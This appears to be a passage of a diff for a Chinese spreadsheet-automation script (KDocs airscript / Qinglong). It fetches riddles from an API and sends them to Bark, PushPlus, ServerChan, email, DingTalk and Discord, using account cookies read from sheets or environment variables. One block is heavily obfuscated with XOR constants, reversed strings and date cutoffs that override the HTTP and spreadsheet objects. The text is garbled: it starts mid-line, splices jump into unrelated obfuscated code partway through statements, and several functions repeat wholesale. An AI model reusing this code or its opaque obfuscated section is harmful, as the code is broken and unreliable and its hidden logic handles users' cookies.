1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.71xk.com/api/miyu" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // 在 resultHandle 函数中修改 content 处理部分 + resp = resp + .replace(/谜题:/g, "🦄谜题:") + .replace(/谜底:/g, "🔮谜底:") + .replace(/类型:/g, "📌类型:") + .replace(/提示:/g, "💡提示:"); + + // console.log(resp) + content = resp + messageSuccess += content + // console.log(content) + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 